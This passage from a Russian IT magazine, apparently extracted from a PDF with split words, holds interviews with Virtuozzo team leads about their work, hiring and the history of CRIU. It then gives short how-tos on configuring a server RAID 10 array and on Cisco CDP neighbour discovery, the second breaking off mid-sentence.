человек  не  зна ет  Linux,  но  работал  с  коман дной  стро кой  Windows  и  име ет
пред став ление о сетях, то ему прос то пот ребу ется боль ше вре мени и боль ше
сил на осво ение новых вещей. Глав ное — что бы сооб ражал хорошо.

От казать я могу, если пой му, что мне будет невыгод но вкла дывать ся в это ‐
го челове ка, потому что прой дет слиш ком мно го вре мени, преж де чем я нач ну
получать какой‐то реаль ный «вых лоп». Ког да я обща юсь с соис кателем, пыта ‐
юсь сопос тавить его с людь ми, которые сей час работа ют у меня в коман де,
понять,  ужи вет ся  он  с  ними  или  нет.  У  нас  очень  спло чен ная  коман да  —
по  харак терам,  манере  обще ния,  по  мировоз зре нию.  Если  я  понимаю,  что
кан дидат  по  харак теру,  поведе нию,  взгля дам  не  сой дет ся,  не  сра бота ется
с ребята ми, я вряд ли возь му такого челове ка.

В  под дер жке  есть  куда  рас ти  в  смыс ле  карь еры.  У  нас  нес коль ко  гра ‐
даций —  от  junior‐инже нера  мож но  дорас ти  до  chief‐инже нера.  Плюс  у  нас
сей час толь ко один  technical account manager — человек,  который работа ет
с опре делен ными  кли ента ми,  глу боко пог ружа ясь  в  их  инфраструк туру,  раз ‐
бира ется  в  биз нес‐пла нах  и  про ектах,  которые  они  собира ются  внед рять.
Так же  мы  пла ниру ем  раз вивать  нап равле ние  customer  success.  Туда  будут
вхо дить роли technical account manager и, в некото ром виде, professional ser‐
vices. Это может быть кон суль тирова ние кли ента, помощь в пер воначаль ной
нас трой ке. Плюс наши сот рудни ки будут писать тре нин ги, которые мы будем
пред лагать кли ентам.

Для  оцен ки  эффектив ности  работы  мы  исполь зуем  набор  стан дар тных
мет рик: вре мя, за которое мы най дем решение нет риви аль ной проб лемы (ini‐
tial response time, time to workaround), вре мя на решение для заявок с высоким
при ори тетом.  Мы  ста раем ся  отсле живать  общее  вре мя,  которое  ухо дит
на зак рытие тикета. Отсле жива ем и общее удов летво рение кли ента, и качес ‐
тво  обслу жива ния  (customer  satisfaction  rate  и  quality).  Есть  внут ренние  инс ‐
трук ции, где опи сано, как пос тупать в таких‐то слу чаях, как катего ризи ровать
заяв ку и так далее.

Раз в пару недель я ста раюсь встре чать ся с каж дым инже нером из моей
коман ды,  что бы  «син хро низо вать ся»  —  узнать  общий  нас трой  челове ка,
обсу дить  его  успе хи/проб лемы,  даль нейшее  раз витие,  получить/дать
обратную связь.

Ре бятам  уров ня  senior  иног да  ста новит ся  неин терес но  прос то  делать
какие‐то тикеты, и я ста раюсь вов лекать их в дру гие про екты. Опять же — тре ‐
нин ги:  при шел  новень кий,  понят но,  что  нуж но  его  про качать  до  опре делен ‐
ного  уров ня,  научить  про дук ту.  Ему  наз нача ется мен тор,  и  инже неру  откры ‐
вает ся воз можность про явить себя в качес тве тре нера и нас тавни ка.

Бы вают  инте рес ные  и  слож ные  в  тех ничес ком  пла не  тикеты.  Нап ример,
дол го  пыта ешь ся  понять,  почему  у  вир туаль ной  машины  не  работа ет  сеть,
а  потом  ока зыва ется,  что  проб лема  вытека ет  из  опре делен ного  кон флик та
обновлен ной  про шив ки  на  Cisco  и  пос ледне го  обновле ния  сетево го  драй ‐
вера  Red  Hat.  Пока  до  это го  докопа ешь ся,  семь  потов  сой дет,  со  все ми
перего воришь и обра тишь ся куда толь ко мож но.

Ну  и  конеч но,  в  нашей  работе  про исхо дит  мас са  забав ных  слу чаев.
Однажды нам при шел тикет — начина ем его читать и понима ем: что‐то не то.
Ока зыва ется,  человек  написал  его  в  сти хах!  Что  делать,  отве чать  приш лось
тоже сти хами. Потом с кли ентом пос меялись, он ска зал: «Спа сибо, что под ‐
держа ли, пря мо мож но рас печатать и на стен ку повесить».

Как видишь, тех поддер жка — это сов сем не скуч но, во вся ком слу чае в Vir‐
tuozzo.  Но  если  ты  уме ешь  прог рамми ровать  на  С,  зна ешь  один  из  скрип ‐
товых язы ков (нап ример, bash) и тебе сов сем не хочет ся общать ся с не всег ‐
да  урав новешен ными  кли ента ми,  тог да  обра ти  свое  вни мание  на  коман ду
раз работ чиков  Virtuozzo  Linux.  О  том,  что  пред став ляет  собой  эта  коман да,
рас ска жет ее лидер — Денис Силаков.
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ДЕНИС СИЛАКОВ, ЛИДЕР КОМАНДЫ VIRTUOZZO LINUX

 раз работ чик 
 MEDIUM 
  прод винутое  зна ние  Linux,  желатель но  зна -

ние C/C++ и одно го из скрип товых язы ков 
 еще более прод винутое  зна ние Linux,

опыт раз работ ки дис три бути ва, опыт работы в коман де 
 senior developer, работа в любой дру гой

ком пании, свя зан ной с Linux

Ра бота:
Уро вень слож ности:
Не обхо димые зна ния:

Что получишь кро ме денег:

Карь ерные воз можнос ти:

Я руково жу коман дой, соз дающей Virtuozzo Linux. Это наш собс твен ный дис ‐
три бутив  —  прак тичес ки  собс твен ная  вет ка  CentOS  с  нуж ными  нам  изме ‐
нени ями,  которые  исполь зуют ся  во  флаг ман ских  про дук тах  Virtuozzo.  Мы
пред лага ем Virtuozzo Linux и как отдель ный про дукт, но его глав ное при мене ‐
ние — слу жить осно вой для наших флаг ман ских про дук тов, то есть Virtuozzo,

 и  . Сам Virtuozzo — это ядро и некото рые ком понен ‐
ты, но для его работы нуж ны мно гие вещи из поль зователь ско го прос транс ‐
тва. Вот  это поль зователь ское прос транс тво  как раз и  пре дос тавля ется Vir‐
tuozzo Linux.

OpenVZ Virtuozzo Storage

Де нис Силаков

На ша  коман да  работа ет  над  нес коль кими  боль шими  про екта ми.  Это  тес ‐
тирова ние и авто мати зация самого раз ного рода. Раз ных пакетов мно го, слу ‐
чаи слож ные, и ког да мы что‐то берем из CentOS или отку да‐то еще, то хотим
убе дить ся, что все зарабо тает глад ко. У нас есть люди, которые по собс твен ‐
ной ини циати ве дописы вают какие‐то вещи. И пос коль ку у нас спе цифич ные
сце нарии, мы час то ловим баги, которые не пой мал Red Hat. Поэто му обща ‐
емся с Red Hat и пат чим.

Че ловек,  который  при дет  к  нам  в  коман ду,  получит мас су  зна ний  о  Linux
и его устрой стве. Как он заг ружа ется, как заг ружа ются биб лиоте ки, что такое
systemd,  как  он  устро ен,  где  и  какие  сер висы  стар туют,  как  устро ена  сеть.
В  силу  спе цифи ки  вся кими  гра фичес кими  шту ками  мы  не  занима емся,  так
что, как про пат чить KDE под Virtuozzo, мы не рас ска жем. В целом нор маль ное
такое  сис темное  прог рамми рова ние  —  слой,  который  лежит  повыше  ядра
и обслу жива ет всю сис тему. В любых его ком понен тах при ходит ся копать ся.

У нас есть задачи на раз ный уро вень под готов ки и свя зан ные с раз ными
час тями сис темы. Что точ но при дет ся изу чить, повер хностно или глу боко, —
это,  нап ример,  сбор ку  пакетов  RHL.  Нуж ны  и  спе цы  по  безопас ности.
Но вооб ще узких областей, на которые мы бы иска ли челове ка для решения
кон крет ной задачи, у нас нет. Наши сот рудни ки ори енти руют ся во всей сис ‐
теме. Понят но, что вглубь во все сра зу не про ник нешь, но надо быть готовым
обу чать ся на мес те. Мне кажет ся, что если человек нор маль но раз бира ется
в Linux, то обыч но он готов.

У нас есть более‐менее фор маль ный тре кинг вре мени через Jira. Но это
не  зна чит,  что  мы  не  оставля ем  вре мени  для  лич ных  про ектов  и  самораз ‐
вития. Дело в том, что один рабочий день у нас равен шес ти часам. То есть ты
можешь из вось мичасо вого рабоче го дня шесть часов делать полез ные дела,
а осталь ное вре мя пот ратить по сво ему усмотре нию.

За дач при этом у нас всег да прос то немере но. Решить их все в пос тавлен ‐
ные сро ки вряд ли получит ся. Мы дела ем оцен ки,  но все понима ют,  что эти
оцен ки  —  шту ка  доволь но  гиб кая.  Зап ланиро вал  неделю,  повез ло,  сде лал
за  два  часа.  Не  повез ло —  ушел  на  пару  недель  или  месяц…  Собс твен но,
оцен ки  выс тавля ются  преж де  все го  с  точ ки  зре ния  менед жеров,  что бы  они
мог ли  при киды вать,  ког да  появит ся  про дукт,  какая  там  будет  фун кци ональ ‐
ность и что мож но обе щать кли ентам. Но не что бы под гонять раз работ чиков.
Соот ветс твен но, задачи мы ран жиру ем: какие кровь из носу надо сде лать, а с
какими мож но подож дать.

По кри тичес ким задачам у нас, как пра вило, есть кому подс тра ховать. Если
вдруг  слу чает ся  такое,  что  кто‐то  надол го  выбыва ет,  работа  над  серь езной
задачей не вста нет намер тво. И если кто‐то заболел или стол кнул ся на пару
дней  с  какими‐то  незап ланиро ван ными  делами,  то  проб лем  с  дед лай нами
у него не будет.

Ана лиз кода мы дела ем через зап росы на вклю чение (pull request. — Прим.
ред.).  Для  это го  исполь зуем  Git  stash  и  свою  ути литу,  которая  поз воля ет
отсмат ривать  и  ком менти ровать  пат чи  обоз римого  объ ема,  то  есть  где‐то
до  тысячи  строк.  Если  изме нения  боль шие —  ска жем,  это  пер вая  вык ладка
какого‐то  боль шого  ком понен та, —  обще ние  идет  либо  в  Jira,  либо  прос то
по поч те.

При нимая  челове ка  на  работу,  мы  в  пер вую  оче редь,  еще  до  интервью,
смот рим, что он может рас ска зать о себе и что показать. Как пра вило, если
человек  работа ет  с  Linux,  то  у  него  есть  какие‐то  опен сор сные  работ ки,
на  которые  мож но  взгля нуть, —  как  минимум  пат чи  на  GitHub.  А  если  есть
свои про екты,  то это вооб ще отлично. Мы смот рим, как человек кодит и как
обща ется.  Если  есть  такой  бэк гра унд,  то  потом  на  собесе дова нии  всег да
инте рес но погово рить о том, что он делал в дру гих про ектах.

Ког да соис кателю нечего показать, мы еще до собесе дова ния можем дать
ему  тес товое задание. На собесе дова нии для это го недос таточ но вре мени,
к  тому  же  человек  обыч но  испы тыва ет  стресс.  Луч ше  пус кай  посидит  дома
с чай ком и пог рузит ся в задачу как положе но.

Еще  нам  важ но  про верить,  нас коль ко  человек  хорошо  ори енти рует ся
в  Linux  —  как  поль зователь  или  как  сисад мин.  На  собесе дова нии  можем,
к  при меру,  дать  ему  написать  какой‐нибудь  shell‐скрип тик  и  пос мотреть,
как он будет бодать ся с син такси сом bash и с коман дами.

Ког да  человек  при ходит  в  коман ду,  мы  обыч но  даем  ему  реали зовать
какую‐нибудь неболь шую фичу, что бы он озна комил ся с нашим рабочим про ‐
цес сом  и  про цес сом  ана лиза  кода.  Заод но  пос мотрит,  как  мы  работа ем
с  комь юни ти,  как  устро ена  Jira  и  так  далее.  Ну  и  заод но  сде лает  что‐то
малень кое, при ятное и полез ное.

Иног да есть смысл брать людей с целью обу чить или переп рофили ровать.
Тут  все  нап рямую  зависит  от  того,  чего  кон крет но  не  хва тает:  если  общие
зна ния есть, но нет каких‐то опре делен ных зна ний для кон крет ной задачи, то
есть  смысл  обу чать.  А  если  не  хва тает  уме ний  и  навыков —  научись.  У  нас
подож дут, помогут.

Иног да мы берем сту ден тов — за нес коль ко лет до окон чания вуза. У них
начиная с треть его кур са идет базовая кафед ра, в роли которой мож но выб ‐
рать  и  Virtuozzo.  Чем  бли же  к  выпус ку,  тем  боль ше  вре мени  они  про водят
у нас. Если ста жер нам нра вит ся и ему нра вит ся у нас, то к кон цу обу чения он
фак тичес ки ста новит ся нашим работ ником. К при меру, на физ техе на пятом
кур се ты все го два дня в инсти туте, в осталь ное вре мя уже работа ешь.

Так офис выг лядит при отклю чен ной сис теме вир туаль ной мас киров ки

Да лад но, мы пошути ли, на самом деле офис выг лядит вот так. В пра вом
ниж нем углу ты можешь наб людать тор жес тво бес про вод ных тех нологий

Ес ли  ни  тех поддер жка,  ни  раз работ ка  тебя  не  прив лека ют,  ты можешь поп ‐
робовать  себя  на  роли  прог рам‐менед жера.  Все‐таки  руково дящая  дол ‐
жность есть руково дящая дол жность. Об осо бен ностях этой роли рас ска жет
Андрей Моруга.

АНДРЕЙ МОРУГА, ДИРЕКТОР УПРАВЛЕНИЯ ПРОГРАММАМИ
КОМПАНИИ VIRTUOZZO

 program manager 
 HARD 

  тех ничес кий  бэк гра унд,  опыт  управле ния
и раз решения кон флик тов, опыт в тех поддер жке или раз работ ке, спо -
соб ность  не  терять  точ ку  зре ния  поль зовате ля  на  про дукт,  даже
находясь внут ри коман ды раз работ ки 

 еще боль ше опы та в управле нии, зна -
комс тво  с  Linux  и  рын ком  вир туаль ной  инфраструк туры,  рас ширишь
свой кру гозор в сов ремен ных тех нологи ях управле ния вир туали заци ей
и при ложе ниями 

 стар ший менед жмент

Ра бота:
Уро вень слож ности:
Не обхо димые  зна ния:

Что получишь кро ме денег:

Карь ерные воз можнос ти:

Я  руково жу  нес коль кими  коман дами  в  Virtuozzo.  Основная  часть  моих  под ‐
чинен ных  —  это  прог рам‐менед жеры,  люди,  которые  опре деля ют,  что  мы
дела ем в про дук те, как это будет исполь зовать ся, каким кли ентам это нуж но,
как это будет раз вивать ся. По сути, их работа — это выработ ка тре бова ний,
иног да  дизайн  каких‐то  ком понен тов  про екта,  которые  име ют  отно шение
к поль зователь ским интерфей сам. Так же в моем ведении коман да тех ничес ‐
ких писате лей и коман да дизай неров.

Ан дрей Моруга

Мы, в час тнос ти, реша ем, что вой дет в сле дующую вер сию про дук та, получая
информа цию из раз ных источни ков: для сущес тву ющих про дук тов это преж де
все го обще ние с заказ чиками и теми, кто мог бы ими стать, для новых и пер ‐
спек тивных  про дук тов  —  ана лиз  рын ка,  проб лем  потен циаль ных  кли ентов
и решений кон курен тов. Основная цель подоб ного пла ниро вания — это стро ‐
ить про дукт, который может быть успе шен на рын ке, который ком пания может
про давать и зараба тывать на этом.

Об рабаты вать  пожела ния  поль зовате лей  не  так  прос то,  как  может
показать ся;  пер вое,  что  нуж но  понять,  ког да  кли ент  про сит  добавить  ту
или  иную  фичу, —  это  какую  проб лему  он  пыта ется  с  ее  помощью  решить
и нас коль ко эта проб лема уни каль на для кон крет ного кли ента. Мы ста раем ся
избе гать  ситу аций,  ког да  мы  добав ляем  новую  фун кцию,  а  кли ент  говорит:
«Это не работа ет, вы неп равиль но сде лали, я имел в виду не это». Нуж но убе ‐
дить ся, что та фича, которую он пред лага ет, — это дей стви тель но решение.
Или,  воз можно,  нуж но  что‐то  дру гое.  Мы  зна ем  про дукт  изнутри  и  час то
можем пред ложить решение, свя зан ное, нап ример, с внеш ней интегра цией,
с вызовом про дук та из коман дной стро ки, через API и тому подоб ное. В слу ‐
чаях,  ког да  проб лема  дан ного  кли ента  уни каль на  и  дру гим  такое  не  нуж но,
это обыч но самый пра виль ный спо соб.

В  подоб ных  ситу ациях,  если  кли ент  хочет  что‐то,  что  нуж но  толь ко  ему,
и  это  не  кон флик тует  с  общей  стра теги ей  раз вития  про дук та,  может  быть
еще  один  вари ант.  У  нас  есть  неболь шая  коман да,  которая  может  делать
для кон крет ного кли ента какие‐то нас трой ки, кас томизи ровать какие‐то вещи
в про дук те или свя зан ные с про дук том. Мы называ ем это professional services.
Мы  не  та  ком пания,  которая  дела ет  инди виду аль ные  решения  для  каж дого
кли ента, но если заказ чик боль шой и финан сово это име ет смысл, то можем
пос тро ить и под держи вать что‐то спе циаль но для него.

У меня сей час работа ет пять прог рам‐менед жеров,  каж дый из них  ведет
свой  про ект  или  под про ект.  Они  обща ются  с  раз работ чиками,  с  тес тиров ‐
щиками  и  с  тех ничес кими  писате лями,  дела ют  так,  что бы  чле нам  коман ды
было понят но, чем занимать ся ему и чего от него ждут осталь ные. Для это го
нуж но пос тоян но быть в цен тре событий. Если пос мотришь на мою коман ду,
то  уви дишь,  что  это  сот рудни ки,  которые  бега ют  по  офи су  боль ше  всех,
которые собира ют встре чи, которые записы вают всё, о чем мы догово рились,
докумен тиру ют раз ные тре бова ния и так далее. Для них важ но иметь навыки
имен но  обще ния  и  работы  с  людь ми,  в  час тнос ти  решения  кон флик тов.
Интро вер ту  или  кон фликтно му  челове ку  на  этой  работе  приш лось  бы  неп ‐
росто.

Ес ли прог раммис ту нужен впол не кон крет ный набор уме ний и навыков, то
для прог рам‐менед жера час то воз можны вари анты. Это может быть человек,
который  дос таточ но  глу боко  раз бира ется  в  тех нологи ях,  или  же  человек,
который вно сит свою леп ту в понима ние пот ребнос тей рын ка, доверя ет тем,
кто раз бира ется в тех нологи ях.

Ко неч но,  не  раз бирать ся  в  тех нологи ях  вооб ще  невоз можно.  Не  имея
никаких  тех ничес ких  навыков,  очень  слож но  зас лужить  ува жение  раз работ ‐
чиков. Они не будут вос при нимать такого менед жера как челове ка, с которым
нуж но говорить серь езно, который понима ет, в чем их проб лемы, и помога ет
най ти  решения.  Глу бина  понима ния  может  быть  раз ной,  но  оно  тре бует ся
в  любом  слу чае.  Кро ме  того,  тех ничес кие  навыки  важ ны,  потому  что  прог ‐
рам‐менед жеры  дол жны  понимать,  может  ли  пред ложен ное  тех ничес кое
решение реаль но устра нить проб лему. Не понимая, как работа ет тех нология,
очень  тяжело  пред положить,  ког да  она  подой дет  для  решения  проб лемы
и ког да — нет.

У меня в коман де есть как люди, которые рань ше работа ли у нас на дру гих
дол жнос тях,  так  и  те,  что  приш ли  со  сто роны.  Я  сам  успел  порабо тать  тес ‐
тиров щиком,  прог раммис том  и  менед жером  про екта,  преж де  чем  попасть
в  прог рам‐менед жеры. Один  человек  в моей  коман де  при шел  из  тес тиров ‐
щиков, еще двое — с раз ных ролей в дру гих ком пани ях.

Ха рак терно, что исто ричес ки в нашу коман ду чаще попада ют люди из тес ‐
тирова ния или под дер жки,  а  не из раз работ чиков. В этих дол жнос тях  у  сот ‐
рудни ков  дос таточ но  кру гозо ра,  что бы  видеть,  какие  проб лемы  воз ника ют
у поль зовате лей и какие проб лемы они пыта ются решать с помощью нашего
соф та.  Прог раммист  же  чаще  пог ружен  в  решение  тех ничес ких  проб лем,
и ему, что бы под ходить для этой роли, нуж но каким‐то обра зом вый ти из этих
рамок  и  научить ся  смот реть  на  вещи  со  сто роны,  преж де  все го  гла зами
заказ чика.

Дарт Вей дер готовит ся угне тать вра гов Virtuozzo

А  теперь  нас тало  вре мя  поз накомить ся  с  челове ком,  который  заменя ет
собой целую  коман ду, — Пав лом Емель яно вым. Он  глав ный архи тек тор Vir‐
tuozzo,  и  имен но  бла года ря  его  ста рани ям  теперь  ядро  Linux  офи циаль но
обза велось   (Checkpoint/Restore In Userspace) — соф том, поз воля ющим
соз дать извне во вре мя выпол нения про изволь ной прог раммы кон троль ную
точ ку с воз можностью возоб новле ния работы прог раммы с этой точ ки, в том
чис ле в дру гом экзем пля ре опе раци онной сис темы.

CRIU

ПАВЕЛ ЕМЕЛЬЯНОВ, ГЛАВНЫЙ АРХИТЕКТОР VIRTUOZZO

 раз работ чик ядра Linux 
 IMPOSSIBLE  

 зна ние C и ядра Linux, левита ция, телеки нез 
 пол ное пог ружение в любимую работу,

зна комс тва в сооб щес тве, опыт решения нет риви аль ных задач 
 раз работ чик ядра Linux

Ра бота:
Уро вень слож ности (слож но ли попасть):
Не обхо димые зна ния:
Что получишь кро ме денег:

Карь ерные воз можнос ти:

Ес ли  ты  пос мотришь  на  сосед ние  коман ды,  то  обна ружишь,  что  они  на  сто
про цен тов  пог лощены  раз вити ем  и  под дер жкой  сущес тву ющих  про дук тов.
Новые вещи там, конеч но, тоже дела ют, но это лишь новые вер сии про дук тов,
раз работ ка  и  внед рение  чего‐то  нового.  Или  взять,  нап ример,  ядер ную
коман ду:  она перено сит  наши ядер ные раз работ ки на  всё новые ядра Linux
и реша ет свя зан ные с этим задачи. Это инте рес ная работа, но револю цион ‐
ного про рыва в ней нет: все зна ют, что такое ядро и что с ним делать. У меня
же осе дают все осо бен ные, нетипич ные и неиз ведан ные вещи.

Па вел Емель янов

Для  при мера  рас ска жу  исто рию  появ ления  CRIU.  Изна чаль но  все  модифи ‐
кации Virtuozzo не шли в основную вет ку ядра (так называ емый upstream) — то
есть в ядро Linux. Они были откры тыми, но это, по сути, у нас была своя собс ‐
твен ная  вет ка  ядра.  В  какой‐то  момент  мы  начали  отправ лять  всю  эту

  Линусу  Тор валь дсу.  Так  появи лись  под систе мы  cgroups
и  namespaces,  которы ми  сей час  все  поль зуют ся.  А  еще  был  тре тий  ком ‐
понент  —  живая  миг рация,  которая  у  нас  была  целиком  в  ядре.  Чем‐то
похожим занима лись не толь ко мы, но и IBM и еще нес коль ко иссле дова телей
из Колум бий ско го уни вер ситета.

функциональность

Нес коль ко лет коман да раз работ чиков ядра не при нима ла эти пат чи: все
говори ли, что это слиш ком боль шая под систе ма, которая вывора чива ет наиз ‐
нанку все ядро. Вы, мол, пока работай те, но отдель но от нас. Пос тепен но мы
ста ли вытас кивать некото рые ком понен ты наружу, в user space. То есть была
ути лита,  которая  дер гала  один‐единс твен ный  вызов  в  ядре,  типа  вос ста ‐
новить или сох ранить. Но вытащить все в user space невоз можно, и мы про ‐
дол жали писать пат чи для ядра.

В  какой‐то  момент  Линусу  все  это  надо ело,  и  он  ска зал:  «Все,  даль ше
можете даже не пытать ся, я это брать не буду». Тог да я решил поп робовать
вынес ти  в  поль зователь ское  прос транс тво  мак симум.  И  написал  про тотип,
который впос ледс твии и прев ратил ся в CRIU. Не пом ню, сколь ко в нем было
строк,  но  даже  тысячи,  кажет ся,  не  набира лось.  Он  сох ранял  и  вос ста нав ‐
ливал  прог рам мку,  которая  работа ла  с  откры тым  фай лом.  У  нее  не  было
ни сокетов, ни пай пов, ни сиг налов, никаких хит рых отоб ражений в памяти —
нес коль ко неболь ших пат чей для получе ния о про цес се  то  ли памяти,  то  ли
регис тров  и  для  соз дания  про цес са  с  задан ным  иден тифика тором  (PID).
Это мож но  было  сде лать  в  режиме  отладчи ка,  но  тог да  опе рации  про исхо ‐
дили  бы  побай тово,  а  мне  была  важ на  ско рость.  В  общем,  в  резуль тате
появи лось  два  пат ча  и  та  малюсень кая  прог рамму лин ка.  Народ  пос мотрел
и решил, что это инте рес но — все го два пат ча, а воз можнос тей откры вает ся
мас са. Поп росили раз вить эту идею.

Тут  началась  та  же  исто рия,  что  и  с  попыт кой  занес ти  все  в  ядро.  Я
добавил что‐то еще — пай пы в  том чис ле. Потом мне ска зали: «Зачем тебе
модифи циро вать proc‐файл для дос тавания памяти, дос тавай как отладчик».
Мы переде лали это, я тог да под клю чил к работе еще одно го сот рудни ка.

По  сути,  это  был  мой  собс твен ный  про ект,  потому  что  в  Virtuozzo  ник то
не  счи тал,  что  мой  план  сра бота ет,  а  я  тра тил  на  это  мно го  вре мени.  Мне
совето вали оста вить это дело: раз не идет в ядро, зна чит, будем реали зовы ‐
вать при помощи модулей, нам не слож но. В общем, года два ник то не при ‐
нимал эту затею всерь ез. А потом слу чил ся какой‐то перелом ный момент.

На  одной  из  кон ферен ций  ко  мне  подошел  один  извес тный мей нтей нер
ядра  —  Эндрю  Мор тон.  Он  спро сил:  «Дол го  вы  еще  будете  всем  этим
занимать ся‐то?  Может,  релиз  сде лаете,  я  бы  все  эти  пат чи  тог да  взял
и  Линусу  сдал  в  ядро».  Они  пос тоян но  рас ширя ют  ядер ный  интерфейс,
и наши наработ ки ока зались бы полез ными для всех.

Так мы сде лали CRIU 0.1. Мор тон влил пат чи в ядро, об этом были написа ‐
ны статьи, я выс тупил на кон ферен ции с док ладом. Тог да в Virtuozzo поняли,
что, видимо, мы наконец‐то выкинем из нашего ядра checkpoint restore (это та
самая живая миг рация) и перей дем на мой вари ант. Так CRIU перес тал быть
моим pet project и стал под держи вать ся офи циаль но.

Ко ман ды как таковой у меня сей час нет: ког да нуж ны лиш ние руки, что бы
что‐то сде лать, мне при ходит ся звать людей из дру гих про ектов. Либо заин ‐
тересо вывать их тем, чем я занима юсь, либо, как было в слу чае с живой миг ‐
раци ей, мои нуж ды сов пада ют с инте реса ми какой‐то из команд и тог да они
под клю чают ся.  Но  если  кто‐то  из  читате лей  «Хакера»  чувс тву ет,  что  хочет
занимать ся тем же, чем и я, то буду рад погово рить с этим челове ком.

АЛЕКСЕЙ КОБЕЦ, СТАРШИЙ ВИЦЕ-ПРЕЗИДЕНТ ПО РАЗРАБОТКЕ
VIRTUOZZO

 стар ший вице‑пре зидент по раз работ ке Virtuozzo 
 IMPOSSIBLE

Ра бота:
Уро вень слож ности (слож но ли попасть):

В нашей коман де  . У нас есть нес коль ко фун кций, но основная —
это  девелоп мент,  ее  выпол няет  отдел  раз работ ки.  Там  есть  раз работ чики,
там  есть  тес тиров щики,  там  есть  прог рам‐менед жмент,  есть  тех рай теры,
которые  опи сыва ют  все  фичи  про дук тов.  Так же  у  нас  есть  отдел,  который
занима ется  пер спек тивны ми  раз работ ками.  Это  клю чевые  отде лы,  которые
вмес те соз дают наши про дук ты.

90 человек

Ес ли выс шего обра зова ния у кан дидата нет, но есть опыт, мы обя затель но
погово рим с ним и, воз можно, возь мем. В пер вую оче редь нуж но раз бирать ‐
ся  в  ядре  ОС.  Если  ты  успел  зас ветить ся  в  сооб щес тве  и  занима ешь ся
вещами, свя зан ными с про изво дитель ностью, с раз работ кой гос тевых драй ‐
веров,  с раз работ кой сис тем вир туали зации,  то  это огромный плюс. В пос ‐
леднее вре мя мы силь но фокуси руем ся на средс твах управле ния и на UI/UX,
такие зна ния будут по дос тоинс тву оце нены на собесе дова нии.

Алек сей Кобец

Мы  работа ем  с  нес коль кими  вузами,  есть  сту ден ческие  прог раммы
и  интерна тура.  Начинать  мож но  отту да.  Сту ден ты,  к  при меру,  занима ются
CRIU.  Через  один‐два  года  ста жиров ки  сту ден ты  при ходят  к  нам  на  пол ный
рабочий  день  и  под клю чают ся  к  серь езным  раз работ кам.  Если  пос мотреть
на коман ду, у нас дос таточ но мно го людей прош ли такой путь, в том чис ле и я
сам.

Не дав но замети ли, что сту ден ты на ста жиров ку к нам идут труд нее. Начали
раз бирать ся  почему,  ока залось,  что  прос то  ста ли  мало  выдавать  для  дип ‐
ломов  тем  с  матема тикой.  А  куда  на  физ техе  без  матема тики?  Шанс
защитить ся  куда  мень ше.  От  это го  и  сту ден ты  ста ли  мень ше  брать  наши
темы.

Что  каса ется  усло вий  работы:  я  счи таю,  что  мы  все  дол жны  работать
в  офи се.  На  самом  деле  прак тика  показы вает,  что  мно гие  задачи  в  офи се
реша ются  быс трее  и  эффектив нее.  Рабочий  день  ненор мирован ный.  День
начина ется  в  один надцать,  а  закан чива ется  очень  поз дно,  потому  что  мы
работа ем с Аме рикой и нуж но, что бы мы пересе кались с кли ента ми по часам.
Тес теры и раз работ чики дол жны обя затель но работать в одно и то же вре мя.
Что бы не допус кать абсурда, ког да тес тер нашел ошиб ку, а раз работ чика нет,
при ходит раз работ чик, вос про извести не может, а тес тера уже нет.

https://openvz.org/Main_Page
https://virtuozzo.com/products/virtuozzo-storage/
https://criu.org/Main_Page
https://xakep.ru/2016/10/21/virtuozzo-interview/
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КАК СДЕЛАТЬ ПЕРВОНАЧАЛЬНУЮ НАСТРОЙКУ
СЕРВЕРНОГО RAID (НА ПРИМЕРЕ СЕРВЕРА LENOVO)1 Нас трой ка  RAID  —  стан дар тная  про цеду ра  для  новых  сер веров.
Если  ты  не  работа ешь  в  дата‐цен тре  или  в  какой‐нибудь  круп ной
ком пании‐интегра торе,  то  чаще  все го  тебе  при дет ся  стал кивать ся
с  уже  нас тро енны ми  мас сивами.  Но  слу чает ся  и  так,  что  в  руки
попада ет новень кий сер вер, который тре бует пер воначаль ной нас ‐
трой ки. Мне,  к при меру, дос тался Lenovo x3650 M4. Сей час на его
при мере пос мотрим, как нас тро ить RAID 10 из вось ми жес тких дис ‐
ков.

По  боль шому  сче ту,  если  не  лезть  в  тон кие  нас трой ки,  то  все
более‐менее  три виаль но.  Нуж но  выб рать  необ ходимый  тип  RAID,
опре делить ся  с  количес твом  жес тких  дис ков  и  при менить  изме ‐
нения.  Пос ле  это го  мож но  раз бивать  прос транс тво  на  логичес кие
дис ки и ста вить опе раци онку.

При  заг рузке  любого  сер вера  сис тема  сама  под ска жет,  что
нажимать, что бы попасть в нас трой ки. Это мож но сде лать как через
меню BIOS,  так  и  сра зу  выз вав  при  заг рузке  спе циаль ную  ути литу.
У  каж дого  про изво дите ля  она  завяза на  на  раз ные  сочета ния  кно ‐
пок  —  сле ди  за  под сказ ками  на  экра не  или  обра тись  к  докумен ‐
тации.

По пав в нас трой ки RAID, пер вым делом выбира ем наш кон трол ‐
лер.

Кон фигура ция кон трол лера

Ес ли  походить  по  меню,  то  мож но  убе дить ся,  что  парамет ров
огромное количес тво. В Controller Management → View Controller In‐
formation ты можешь пос мотреть общую информа цию вро де серий ‐
ного номера, опций шиф рования и номера сло та. В пун кте Controller
Management → Change Controller Properties — поменять нас трой ки
кон трол лера.

Нам же  в  пер вую  оче редь  нужен  пункт  Virtual Drive Management.
Сна чала  там будет  толь ко один пункт меню — Create Configuration.
Выб рав его, пер вым делом зада ем тип RAID.

Соз даем RAID

Пос ле  это го  нуж но  сде лать  два  span,  один  из  которых  ста нет  зер ‐
калом.  Учи тывая,  что  у меня  восемь  дис ков,  в  пер вый  span  добав ‐
ляем пер вые четыре, а оставши еся, соот ветс твен но, во вто рой.

Про веря ем кон фигура цию

Те перь  раз реша ем  прог рамме  спо кой но  унич тожать  все  дан ные
на  дис ке  и  ждем,  ког да  закон чится  про цесс  соз дания RAID. Пос ле
это го он готов к исполь зованию.

КАК ИСКАТЬ СОСЕДНИЕ УСТРОЙСТВА CISCO ПРИ
ПОМОЩИ CDP2 Cisco  Discovery  Protocol  (CDP)  —  это  проп риетар ный  про токол
Cisco, который поз воля ет сетевым устрой ствам анон сировать в сеть
информа цию  о  себе  и  о  сво их  воз можнос тях,  а  так же  получать
информа цию о сосед них устрой ствах.

Это  весь ма полез ный и  в  то же  вре мя опас ный про токол. С его
помощью мож но получить информа цию обо всех сосед них устрой ‐
ствах. Полез но это может быть как сисад мину — для поис ка необ ‐
ходимо го  мар шру тиза тора,  так  и  зло умыш ленни ку —  для  изу чения
ата куемой  сети.  Поэто му  на  пор тах,  которые  смот рят  наружу,  CDP
обыч но отклю чают.

Для прос мотра соседей исполь зует ся коман да 
